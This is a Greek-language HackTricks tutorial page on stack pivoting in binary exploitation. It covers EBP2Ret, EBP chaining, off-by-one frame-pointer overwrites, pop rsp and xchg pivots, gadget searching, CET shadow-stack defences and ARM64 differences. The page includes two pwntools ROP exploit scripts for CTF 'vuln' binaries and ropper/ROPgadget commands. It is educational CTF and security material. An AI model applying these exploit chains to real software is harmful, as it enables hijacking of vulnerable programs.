# Stack Pivoting - EBP2Ret - EBP chaining {{#include ../../banners/hacktricks-training.md}} ## Basic Information Αυτή η τεχνική εκμεταλλεύεται την ικανότητα να χειρίζεται το **Base Pointer (EBP/RBP)** για να αλυσσοδέσει την εκτέλεση πολλαπλών συναρτήσεων μέσω προσεκτικής χρήσης του δείκτη πλαισίου και της ακολουθίας εντολών **`leave; ret`**. Ως υπενθύμιση, στο x86/x86-64 **`leave`** είναι ισοδύναμο με: ``` mov rsp, rbp ; mov esp, ebp on x86 pop rbp ; pop ebp on x86 ret ``` Και καθώς το αποθηκευμένο **EBP/RBP είναι στη στοίβα** πριν από το αποθηκευμένο EIP/RIP, είναι δυνατόν να το ελέγξετε ελέγχοντας τη στοίβα. > Σημειώσεις > - Σε 64-bit, αντικαταστήστε EBP→RBP και ESP→RSP. Η σημασιολογία είναι η ίδια. > - Ορισμένοι μεταγλωττιστές παραλείπουν τον δείκτη πλαισίου (βλ. “EBP might not be used”). Σε αυτή την περίπτωση, το `leave` μπορεί να μην εμφανίζεται και αυτή η τεχνική δεν θα λειτουργήσει. ### EBP2Ret Αυτή η τεχνική είναι ιδιαίτερα χρήσιμη όταν μπορείτε να **αλλάξετε το αποθηκευμένο EBP/RBP αλλά δεν έχετε άμεσο τρόπο να αλλάξετε το EIP/RIP**. Εκμεταλλεύεται τη συμπεριφορά του επιλόγου της συνάρτησης. Εάν, κατά την εκτέλεση του `fvuln`, καταφέρετε να εισάγετε ένα **ψεύτικο EBP** στη στοίβα που δείχνει σε μια περιοχή μνήμης όπου βρίσκεται η διεύθυνση του shellcode/ROP αλυσίδας σας (συν 8 bytes σε amd64 / 4 bytes σε x86 για να ληφθεί υπόψη το `pop`), μπορείτε έμμεσα να ελέγξετε το RIP. Καθώς η συνάρτηση επιστρέφει, το `leave` ρυθμίζει το RSP στην κατασκευασμένη τοποθεσία και το επόμενο `pop rbp` μειώνει το RSP, **κάνοντάς το να δείχνει σε μια διεύθυνση που έχει αποθηκευτεί από τον επιτιθέμενο εκεί**. Στη συνέχεια, το `ret` θα χρησιμοποιήσει αυτή τη διεύθυνση. Σημειώστε πώς **πρέπει να γνωρίζετε 2 διευθύνσεις**: τη διεύθυνση στην οποία θα πάει το ESP/RSP και την τιμή που είναι αποθηκευμένη σε αυτή τη διεύθυνση που θα καταναλώσει το `ret`. #### Κατασκευή Εκμετάλλευσης Πρώτα πρέπει να γνωρίζετε μια **διεύθυνση όπου μπορείτε να γράψετε αυθαίρετα δεδομένα/διευθύνσεις**. Το RSP θα δείχνει εδώ και **θα καταναλώσει το πρώτο `ret`**. Στη συνέχεια, πρέπει να επιλέξετε τη διεύθυνση που χρησιμοποιείται από το `ret` που θα **μεταφέρει την εκτέλεση**. Μπορείτε να χρησιμοποιήσετε: - Μια έγκυρη [**ONE_GADGET**](https://github.com/david942j/one_gadget) διεύθυνση. - Τη διεύθυνση του **`system()`** ακολουθούμενη από την κατάλληλη επιστροφή και τα επιχειρήματα (σε x86: `ret` στόχος = `&system`, στη συνέχεια 4 άχρηστα bytes, στη συνέχεια `&"/bin/sh"`). - Τη διεύθυνση ενός **`jmp esp;`** gadget ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) ακολουθούμενη από inline shellcode. - Μια [**ROP**](../rop-return-oriented-programing/index.html) αλυσίδα τοποθετημένη σε εγγράψιμη μνήμη. Θυμηθείτε ότι πριν από οποιαδήποτε από αυτές τις διευθύνσεις στην ελεγχόμενη περιοχή, πρέπει να υπάρχει **χώρος για το `pop ebp/rbp`** από το `leave` (8B σε amd64, 4B σε x86). Μπορείτε να εκμεταλλευτείτε αυτά τα bytes για να ορίσετε ένα **δεύτερο ψεύτικο EBP** και να διατηρήσετε τον έλεγχο μετά την επιστροφή της πρώτης κλήσης. #### Εκμετάλλευση Off-By-One Υπάρχει μια παραλλαγή που χρησιμοποιείται όταν μπορείτε **μόνο να τροποποιήσετε το λιγότερο σημαντικό byte του αποθηκευμένου EBP/RBP**. Σε αυτή την περίπτωση, η τοποθεσία μνήμης που αποθηκεύει τη διεύθυνση στην οποία θα μεταβείτε με **`ret`** πρέπει να μοιράζεται τα πρώτα τρία/πέντε bytes με το αρχικό EBP/RBP ώστε μια 1-byte υπερχείλιση να μπορεί να την ανακατευθύνει. Συνήθως το χαμηλό byte (offset 0x00) αυξάνεται για να πηδήξει όσο το δυνατόν πιο μακριά μέσα σε μια κοντινή σελίδα/ευθυγραμμισμένη περιοχή. Είναι επίσης κοινό να χρησιμοποιείται μια RET sled στη στοίβα και να τοποθετείται η πραγματική ROP αλυσίδα στο τέλος για να είναι πιο πιθανό ότι το νέο RSP δείχνει μέσα στη sled και η τελική ROP αλυσίδα εκτελείται. ### EBP Chaining Τοποθετώντας μια ελεγχόμενη διεύθυνση στη σωστή θέση `EBP` της στοίβας και ένα gadget `leave; ret` στο `EIP/RIP`, είναι δυνατόν να **μετακινήσετε το `ESP/RSP` σε μια διεύθυνση που ελέγχεται από τον επιτιθέμενο**. Τώρα το `RSP` είναι ελεγχόμενο και η επόμενη εντολή είναι `ret`. Τοποθετήστε στη ελεγχόμενη μνήμη κάτι όπως: - `&(next fake EBP)` -> Φορτωμένο από `pop ebp/rbp` από το `leave`. - `&system()` -> Καλείται από το `ret`. - `&(leave;ret)` -> Μετά την ολοκλήρωση του `system`, μετακινεί το RSP στο επόμενο ψεύτικο EBP και συνεχίζει. - `&("/bin/sh")` -> Επιχείρημα για το `system`. Με αυτόν τον τρόπο είναι δυνατόν να αλυσιοδέσετε αρκετά ψεύτικα EBPs για να ελέγξετε τη ροή του προγράμματος. Αυτό είναι σαν ένα [ret2lib](../rop-return-oriented-programing/ret2lib/index.html), αλλά πιο περίπλοκο και χρήσιμο μόνο σε περιθωριακές περιπτώσεις. Επιπλέον, εδώ έχετε ένα [**παράδειγμα μιας πρόκλησης**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) που χρησιμοποιεί αυτή την τεχνική με μια **στοίβα διαρροής** για να καλέσει μια νικηφόρα συνάρτηση. Αυτό είναι το τελικό payload από τη σελίδα: ```python from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) log.success(f'Buffer: {hex(buffer)}') LEAVE_RET = 0x40117c POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 payload = flat( 0x0, # rbp (could be the address of another fake RBP) POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, elf.sym['winner'] ) payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP) payload += flat( buffer, # Load leaked address in RBP LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it ) pause() p.sendline(payload) print(p.recvline()) ``` > amd64 alignment tip: Το System V ABI απαιτεί ευθυγράμμιση 16-byte στο stack στα σημεία κλήσης. Αν η αλυσίδα σας καλεί συναρτήσεις όπως `system`, προσθέστε ένα gadget ευθυγράμμισης (π.χ., `ret`, ή `sub rsp, 8 ; ret`) πριν από την κλήση για να διατηρήσετε την ευθυγράμμιση και να αποφύγετε τις καταρρεύσεις `movaps`. ## EBP μπορεί να μην χρησιμοποιείται Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), αν ένα δυαδικό αρχείο έχει μεταγλωττιστεί με κάποιες βελτιστοποιήσεις ή με παράλειψη του frame-pointer, το **EBP/RBP ποτέ δεν ελέγχει το ESP/RSP**. Επομένως, οποιαδήποτε εκμετάλλευση που λειτουργεί ελέγχοντας το EBP/RBP θα αποτύχει επειδή ο πρόλογος/επίλογος δεν αποκαθιστά από τον δείκτη πλαισίου. - Όχι βελτιστοποιημένο / χρησιμοποιείται δείκτης πλαισίου: ```bash push %ebp # save ebp mov %esp,%ebp # set new ebp sub $0x100,%esp # increase stack size . . . leave # restore ebp (leave == mov %ebp, %esp; pop %ebp) ret # return ``` - Βελτιστοποιημένο / δείκτης πλαισίου παραλειπόμενος: ```bash push %ebx # save callee-saved register sub $0x100,%esp # increase stack size . . . add $0x10c,%esp # reduce stack size pop %ebx # restore ret # return ``` On amd64 θα δείτε συχνά `pop rbp ; ret` αντί για `leave ; ret`, αλλά αν ο δείκτης πλαισίου παραληφθεί εντελώς, τότε δεν υπάρχει επακόλουθο βασισμένο σε `rbp` για να γίνει pivot. ## Άλλοι τρόποι ελέγχου του RSP ### `pop rsp` gadget [**Σε αυτή τη σελίδα**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) μπορείτε να βρείτε ένα παράδειγμα που χρησιμοποιεί αυτή την τεχνική. Για αυτή την πρόκληση ήταν απαραίτητο να καλέσετε μια συνάρτηση με 2 συγκεκριμένα επιχειρήματα, και υπήρχε ένα **`pop rsp` gadget** και υπάρχει μια **leak από τη στοίβα**: ```python # Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp # This version has added comments from pwn import * elf = context.binary = ELF('./vuln') p = process() p.recvuntil('to: ') buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user log.success(f'Buffer: {hex(buffer)}') POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret POP_RDI = 0x40122b POP_RSI_R15 = 0x401229 # pop RSI and R15 # The payload starts payload = flat( 0, # r13 0, # r14 0, # r15 POP_RDI, 0xdeadbeef, POP_RSI_R15, 0xdeadc0de, 0x0, # r15 elf.sym['winner'] ) payload = payload.ljust(104, b'A') # pad to 104 # Start popping RSP, this moves the stack to the leaked address and # continues the ROP chain in the prepared payload payload += flat( POP_CHAIN, buffer # rsp ) pause() p.sendline(payload) print(p.recvline()) ``` ### xchg , rsp gadget ``` pop <=== return pointer xchg , rsp ``` ### jmp esp Δείτε την τεχνική ret2esp εδώ: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ### Γρήγορη εύρεση gadgets pivot Χρησιμοποιήστε τον αγαπημένο σας ανιχνευτή gadgets για να αναζητήσετε κλασικές πρωτογενείς pivot: - `leave ; ret` σε συναρτήσεις ή σε βιβλιοθήκες - `pop rsp` / `xchg rax, rsp ; ret` - `add rsp, ; ret` (ή `add esp, ; ret` σε x86) Παραδείγματα: ```bash # Ropper ropper --file ./vuln --search "leave; ret" ropper --file ./vuln --search "pop rsp" ropper --file ./vuln --search "xchg rax, rsp ; ret" # ROPgadget ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp" ``` ### Κλασικό μοτίβο σταδιοδρομίας pivot Μια ισχυρή στρατηγική pivot που χρησιμοποιείται σε πολλές CTFs/exploits: 1) Χρησιμοποιήστε μια μικρή αρχική υπερχείλιση για να καλέσετε `read`/`recv` σε μια μεγάλη εγ writable περιοχή (π.χ., `.bss`, heap, ή χαρτογραφημένη RW μνήμη) και τοποθετήστε εκεί μια πλήρη αλυσίδα ROP. 2) Επιστρέψτε σε ένα gadget pivot (`leave ; ret`, `pop rsp`, `xchg rax, rsp ; ret`) για να μετακινήσετε το RSP σε αυτήν την περιοχή. 3) Συνεχίστε με την σταδιοδρομημένη αλυσίδα (π.χ., leak libc, καλέστε `mprotect`, στη συνέχεια `read` shellcode, στη συνέχεια πηδήξτε σε αυτό). ## Σύγχρονες μετρήσεις που σπάνε το stack pivoting (CET/Shadow Stack) Οι σύγχρονοι επεξεργαστές x86 και τα λειτουργικά συστήματα εφαρμόζουν ολοένα και περισσότερο το **CET Shadow Stack (SHSTK)**. Με το SHSTK ενεργοποιημένο, το `ret` συγκρίνει τη διεύθυνση επιστροφής στη φυσιολογική στοίβα με μια προστατευμένη από υλικό σκιά στοίβα; οποιαδήποτε ασυμφωνία προκαλεί σφάλμα Control-Protection και τερματίζει τη διαδικασία. Επομένως, τεχνικές όπως οι EBP2Ret/leave;ret-based pivots θα καταρρεύσουν μόλις εκτελεστεί το πρώτο `ret` από μια pivoted stack. - Για υπόβαθρο και πιο λεπτομερείς λεπτομέρειες δείτε: {{#ref}} ../common-binary-protections-and-bypasses/cet-and-shadow-stack.md {{#endref}} - Γρήγοροι έλεγχοι σε Linux: ```bash # 1) Is the binary/toolchain CET-marked? readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)' # 2) Is the CPU/kernel capable? grep -E 'user_shstk|ibt' /proc/cpuinfo # 3) Is SHSTK active for this process? grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss) # 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags (gdb) checksec ``` - Σημειώσεις για εργαστήρια/CTF: - Ορισμένες σύγχρονες διανομές ενεργοποιούν το SHSTK για εκτελέσιμα με δυνατότητα CET όταν υπάρχει υποστήριξη υλικού και glibc. Για ελεγχόμενη δοκιμή σε VMs, το SHSTK μπορεί να απενεργοποιηθεί σε επίπεδο συστήματος μέσω της παραμέτρου εκκίνησης του πυρήνα `nousershstk`, ή να ενεργοποιηθεί επιλεκτικά μέσω ρυθμίσεων glibc κατά την εκκίνηση (βλ. αναφορές). Μην απενεργοποιείτε τις μετρήσεις σε παραγωγικούς στόχους. - Οι τεχνικές που βασίζονται σε JOP/COOP ή SROP μπορεί να είναι ακόμα βιώσιμες σε ορισμένους στόχους, αλλά το SHSTK ειδικά σπάει τους `ret`-βασισμένους άξονες. - Σημείωση για Windows: Τα Windows 10+ εκθέτουν τη λειτουργία χρήστη και τα Windows 11 προσθέτουν την προστασία στοίβας "Hardware-enforced Stack Protection" που βασίζεται σε shadow stacks. Οι διαδικασίες συμβατές με το CET αποτρέπουν την περιστροφή της στοίβας/ROP στο `ret`; οι προγραμματιστές επιλέγουν να συμμετάσχουν μέσω των πολιτικών CETCOMPAT και σχετικών πολιτικών (βλ. αναφορά). ## ARM64 Στο ARM64, οι **προλόγοι και οι επιλόγοι** των συναρτήσεων **δεν αποθηκεύουν και δεν ανακτούν το SP register** στη στοίβα. Επιπλέον, η εντολή **`RET`** δεν επιστρέφει στη διεύθυνση που υποδεικνύεται από το SP, αλλά **στη διεύθυνση μέσα στο `x30`**. Επομένως, από προεπιλογή, απλά εκμεταλλευόμενοι τον επίλογο **δεν θα μπορείτε να ελέγξετε το SP register** αντικαθιστώντας κάποια δεδομένα μέσα στη στοίβα. Και ακόμα κι αν καταφέρετε να ελέγξετε το SP, θα χρειαστείτε έναν τρόπο να **ελέγξετε το `x30`** register. - προλόγος ```armasm sub sp, sp, 16 stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30 mov x29, sp // FP points to frame record ``` - επίλογος ```armasm ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8] add sp, sp, 16 ret ``` > [!CAUTION] > Ο τρόπος για να εκτελέσετε κάτι παρόμοιο με την περιστροφή της στοίβας στο ARM64 θα ήταν να μπορείτε να **ελέγξετε το `SP`** (ελέγχοντας κάποιο register του οποίου η τιμή μεταφέρεται στο `SP` ή επειδή για κάποιο λόγο το `SP` παίρνει τη διεύθυνσή του από τη στοίβα και έχουμε μια υπερχείλιση) και στη συνέχεια να **εκμεταλλευτείτε τον επίλογο** για να φορτώσετε το **`x30`** register από ένα **ελεγχόμενο `SP`** και να **`RET`** σε αυτό. Επίσης, στην επόμενη σελίδα μπορείτε να δείτε την ισοδυναμία του **Ret2esp στο ARM64**: {{#ref}} ../rop-return-oriented-programing/ret2esp-ret2reg.md {{#endref}} ## Αναφορές - [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/) - [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting) - [https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html) - 64 bits, off by one exploitation with a rop chain starting with a ret sled - [https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html](https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html) - 64 bit, no relro, canary, nx and pie. Το πρόγραμμα παρέχει μια διαρροή για τη στοίβα ή το pie και μια WWW ενός qword. Πρώτα πάρτε τη διαρροή της στοίβας και χρησιμοποιήστε την WWW για να επιστρέψετε και να πάρετε τη διαρροή του pie. Στη συνέχεια, χρησιμοποιήστε την WWW για να δημιουργήσετε έναν αιώνιο βρόχο εκμεταλλευόμενοι τις καταχωρίσεις `.fini_array` + καλώντας `__libc_csu_fini` ([περισσότερες πληροφορίες εδώ](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md)). Εκμεταλλευόμενοι αυτήν την "αιώνια" εγγραφή, γράφεται μια αλυσίδα ROP στο .bss και καταλήγει να την καλεί περιστρέφοντας με RBP. - Τεκμηρίωση πυρήνα Linux: Control-flow Enforcement Technology (CET) Shadow Stack — λεπτομέρειες σχετικά με το SHSTK, `nousershstk`, `/proc/$PID/status` flags, και ενεργοποίηση μέσω `arch_prctl`. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection {{#include ../../banners/hacktricks-training.md}}